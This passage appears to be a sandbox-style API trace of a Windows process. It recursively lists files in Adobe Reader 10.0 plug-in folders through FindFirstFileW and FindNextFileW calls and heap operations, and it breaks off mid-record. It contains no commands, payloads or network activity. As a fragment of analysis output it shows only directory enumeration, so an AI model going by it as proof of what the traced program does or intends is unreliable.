ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0229.919] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.SKY", cAlternateFileName="")) returned 1 [0229.919] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.SKY", cAlternateFileName="")) returned 1 [0229.920] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.SKY", cAlternateFileName="QUICKT~1.SKY")) returned 1 [0229.920] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.SKY", cAlternateFileName="WINDOW~1.SKY")) returned 1 [0229.920] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.SKY", cAlternateFileName="WINDOW~1.SKY")) returned 0 [0229.920] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0229.920] GetProcessHeap () returned 0x550000 [0229.920] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0229.920] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_SLV", cAlternateFileName="")) returned 1 [0229.920] GetProcessHeap () returned 0x550000 [0229.920] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0229.920] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0229.921] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0229.921] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.SLV", cAlternateFileName="")) returned 1 [0229.921] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCIMPP.SLV", cAlternateFileName="")) returned 1 [0229.921] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.SLV", cAlternateFileName="QUICKT~1.SLV")) returned 1 [0229.921] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.SLV", cAlternateFileName="WINDOW~1.SLV")) returned 1 [0229.921] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.SLV", cAlternateFileName="WINDOW~1.SLV")) returned 0 [0229.921] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0229.921] GetProcessHeap () returned 0x550000 [0229.921] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0229.921] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_TUR", cAlternateFileName="")) returned 1 [0229.922] GetProcessHeap () returned 0x550000 [0229.922] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0229.922] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_TUR\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0229.922] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0229.922] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.TUR", cAlternateFileName="")) returned 1 [0229.923] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCIMPP.TUR", cAlternateFileName="")) returned 1 [0229.923] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.TUR", cAlternateFileName="QUICKT~1.TUR")) returned 1 [0229.923] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.TUR", cAlternateFileName="WINDOW~1.TUR")) returned 1 [0229.923] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.TUR", cAlternateFileName="WINDOW~1.TUR")) returned 0 [0229.923] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0229.931] GetProcessHeap () returned 0x550000 [0229.931] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0229.931] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_UKR", cAlternateFileName="")) returned 1 [0229.931] GetProcessHeap () returned 0x550000 [0229.931] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0229.931] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0229.932] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0229.933] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.UKR", cAlternateFileName="")) returned 1 [0229.933] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCIMPP.UKR", cAlternateFileName="")) returned 1 [0229.933] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.UKR", cAlternateFileName="QUICKT~1.UKR")) returned 1 [0229.933] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.UKR", cAlternateFileName="WINDOW~1.UKR")) returned 1 [0229.933] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.UKR", cAlternateFileName="WINDOW~1.UKR")) returned 0 [0229.933] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0229.934] GetProcessHeap () returned 0x550000 [0229.934] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0229.934] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_UKR", cAlternateFileName="")) returned 0 [0229.934] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0229.934] GetProcessHeap () returned 0x550000 [0229.934] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0229.934] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x174c63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.api", cAlternateFileName="MULTIM~1.API")) returned 1 [0229.934] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x69263, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDDom.api", cAlternateFileName="")) returned 1 [0229.934] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x73f263, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLite.api", cAlternateFileName="")) returned 1 [0229.934] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b663, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.api", cAlternateFileName="READOU~1.API")) returned 1 [0229.935] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dab5520, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x54e63, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.api", cAlternateFileName="")) returned 1 [0229.935] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da43100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x63263, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.api", cAlternateFileName="SAVEAS~1.API")) returned 1 [0229.935] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d618a80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x69063, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.api", cAlternateFileName="")) returned 1 [0229.935] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e05720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x25c63, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.api", cAlternateFileName="")) returned 1 [0229.935] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x43a63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.api", cAlternateFileName="")) returned 1 [0229.935] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f498460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x29463, dwReserved0=0x0, dwReserved1=0x0, cFileName="Updater.api", cAlternateFileName="")) returned 1 [0229.935] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4ac63, dwReserved0=0x0, dwReserved1=0x0, cFileName="weblink.api", cAlternateFileName="")) returned 1 [0229.935] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4ac63, dwReserved0=0x0, dwReserved1=0x0, cFileName="weblink.api", cAlternateFileName="")) returned 0 [0229.935] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0229.935] GetProcessHeap () returned 0x550000 [0229.935] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0229.937] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dc322e0, 